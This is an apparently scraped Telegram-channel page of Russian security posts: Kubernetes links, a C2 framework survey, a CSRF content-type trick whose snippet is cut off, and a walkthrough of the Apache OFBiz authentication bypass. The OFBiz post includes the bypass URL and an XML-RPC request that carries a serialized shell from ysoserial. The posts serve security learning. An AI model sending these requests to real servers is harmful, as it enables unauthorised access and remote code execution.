Architec.Ton is a ecosystem on the TON chain with non-custodial wallet, swap, apps catalog and launchpad.
Main app: @architec_ton_bot
Our Chat: @architec_ton
EU Channel: @architecton_eu
Twitter: x.com/architec_ton
Support: @architecton_support
Last updated 2 weeks, 2 days ago
Канал для поиска исполнителей для разных задач и организации мини конкурсов
Last updated 1 month ago
У меня тут есть знакомый, который решил рассказывать про ИБ с перспективы менеджера, поэтому гляньте, может будет кому-то интересно почитать про опыт ~~от манагера до манагера пентеста~~
Kubectl apply
Йо, сегодня я принес несколько ссылочек, где можно почитать про работу различных компонентов в k8s
. К такой идее я пришел после того, как решил поизучать принцип работы Docker
, и тут можно потыкать ссылочки про него ✨. У меня изначально появился интерес к куберовским namespace
, которые по факту создают некую изоляцию кластеров (а эта изоляция предусматривает те же ограничения на API и т.п), ну и потом интерес пошел еще дальше. Подборка довольна скромная, но надеюсь, что кому-то будет интересно ✨
▪️ Как работает K8S в общих чертах
▪️ Docker Containers vs. Kubernetes Pods
▪️ Kubernetes multi-container pods and container communication
▪️ Чуть потыкаться с сервисами
▪️ Почитать про RBAC
можно тут, тут и тут
▪️ Accessing the Kubernetes API
▪️ Kubernetes namespaces isolation
▪️ Understanding service accounts and tokens
Плюс, если кому-то будет интересно, то тут есть мини туториал по containerd
и как его тыкать
Oh yes, ping pong
Под конец прошлого года, прошла шумиха с Apache Ofbiz, который позволял сделать байпас аутентификации и проабьюзать XML\-RPC
. Решил глянуть, что это было и как оно происходит ?
Суть заключается в том, что XML\-RPC
, по логике можно использовать только с валидными кредами, но глянем на сам момент аутентификации юзера в LoginWorker.java
List<String> unpwErrMsgList = new LinkedList<String>();
if (UtilValidate.isEmpty(username)) {
unpwErrMsgList.add(UtilProperties.getMessage(resourceWebapp, "loginevents.username\_was\_empty\_reenter", UtilHttp.getLocale(request)));
}
if (UtilValidate.isEmpty(password) && UtilValidate.isEmpty(token)) {
unpwErrMsgList.add(UtilProperties.getMessage(resourceWebapp, "loginevents.password\_was\_empty\_reenter", UtilHttp.getLocale(request)));
}
boolean requirePasswordChange = "Y".equals(request.getParameter("requirePasswordChange"));
if (!unpwErrMsgList.isEmpty()) {
request.setAttribute("\_ERROR\_MESSAGE\_LIST\_", unpwErrMsgList);
return requirePasswordChange ? "requirePasswordChange" : "error";
}
Тут все начинается с requirePasswordChange
, который не обращает внимание на то, введет ли юзер валидные креды. Если юзер в качестве параметра отдает Y
, то метод login(HttpServletRequest request, HttpServletResponse response)
вернет строку requirePasswordChange
Дальше идем в checkLogin()
и там уже идет следующий момент
if (username == null
|| (password == null && token == null)
|| "error".equals(login(request, response)))
Т.е по факту, мы тупо можем обойти проверку, путем вставки любого символа ему, и плюс "error".equals(login(request, response))
не будет срабатывать, т.к мы заставили login(...)
вернуть requirePasswordChange
Поэтому мы можем дергать ручки XML\-RPC
/webtools/control/ping?USERNAME=&PASSWORD=s&requirePasswordChange=Y
А через серелиализацию, мы передаем наш шелл, который можно сделать через ysoserial
```
POST /webtools/control/xmlrpc/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Content-Length: 4002
Content-Type: application/xml
Methodname
test
serialized_shell
```
Пора и мне сказать что-то ✨
В этом году я очень старался повысить свои навыки, а вы могли наблюдать тем, что я балансировал между разными темами в своих постах. С одним автором другого ИБ-канала я общался и обсуждал рынок ИБ, другие авторы меня вдохновляли, направляли и просто показывали свои находки, ресерчи и наработки.
По активностям год был веселый. На PHD
, я сидел и тыкал IDS Bypass
, помогал в проведении OFFZONE 2023
, ну и Standoff 12
тоже не прошел мимо. Надо попробовать быть более активным в следующем году. ?
Было хорошо? Не знаю, но думаю, что я нашел курс своего развития, где-то на ближайшие полгода. Под конец года, постов стало меньше, т.к задач по работе было не мало, да и учеба тоже дает знаки о себе.
В завершении скажу, что все молодцы! Пусть каждый отдохнет на праздниках, пусть каждый будет получать удовольствие от своего дела, пусть каждый будет здоровым! ✨
Счастье для всех, даром, и пусть никто не уйдет обиженный!
Please, provide command…
Когда-то я собирал список инструментов для проксирования трафика. В этот раз я посмотрел некоторые C2 и решил поделиться небольшим списком. ?
Sliver - это пожалуй один из самых популярных C2 на данный момент. Он поддерживает различные протоколы, включая HTTP
, WireGuard
, DNS
и т.д. Плюс, был недавно набор статей по его кастомизации ?
Mythic - как и Sliver, Mythic является достаточно популярным C2, плюс у него очень приятный UI. Для Mythic есть много различных агентов. Ну и никто не мешает написать собственный, а документация у данного инструмента приятная
Merlin - данный C2 популярен за обширность предоставляемых модулей для AD
, но только не каждый из них корректно работает. Автор заявлял, что агент можно легко модифицировать под себя, но в пабликах не видел агентов, основанных на нем
Godoh - самый простой C2, однако для коннекта использует протокол DNS\-over\-HTTPS
?
Havoc - очень похож на Cobalt Strike
, имеет в себе много различных модулей. Его фичей считают Sleep obfuscation
, основанный на Ekko (thx to D00Movenok )
PoshC2 - тулза немного устаревшая, но показалось интересной за счет модулей, основанных на C\#
(хотя поддерживает еще модули, основанные на Python
)
По детекту понравилась статья от ProjectDiscovery
Наверно все ?♀️
Пока писал, тут выкатили статью по C2C
То, что уже не должно встречаться, но все еще встречается (#bb_tips?).
Во время проекта наткнулся на функциональность изменения профиля. Ну и, понятное дело, не проверить CSRF
было бы грехом. Однако, общение с бэкендом происходит через Rest
с использованием Content\-type: application/json
. Это значит, что запрос будет сложным и значит, что легкого пути в эксплуатации CSRF быть не должно. Ведь так..?
Не многие знают, но есть 1 способ, как можно сделать из сложного запроса простой. Вместо application/json
ставим application/x\-www\-form\-urlencoded
, а тело запроса оставляем прежним :).
Сразу хочется отметить, что burp
не сгенерирует полезную нагрузку, поэтому вот сниппет, которым можно воспользоваться:
``
Architec.Ton is a ecosystem on the TON chain with non-custodial wallet, swap, apps catalog and launchpad.
Main app: @architec_ton_bot
Our Chat: @architec_ton
EU Channel: @architecton_eu
Twitter: x.com/architec_ton
Support: @architecton_support
Last updated 2 weeks, 2 days ago
Канал для поиска исполнителей для разных задач и организации мини конкурсов
Last updated 1 month ago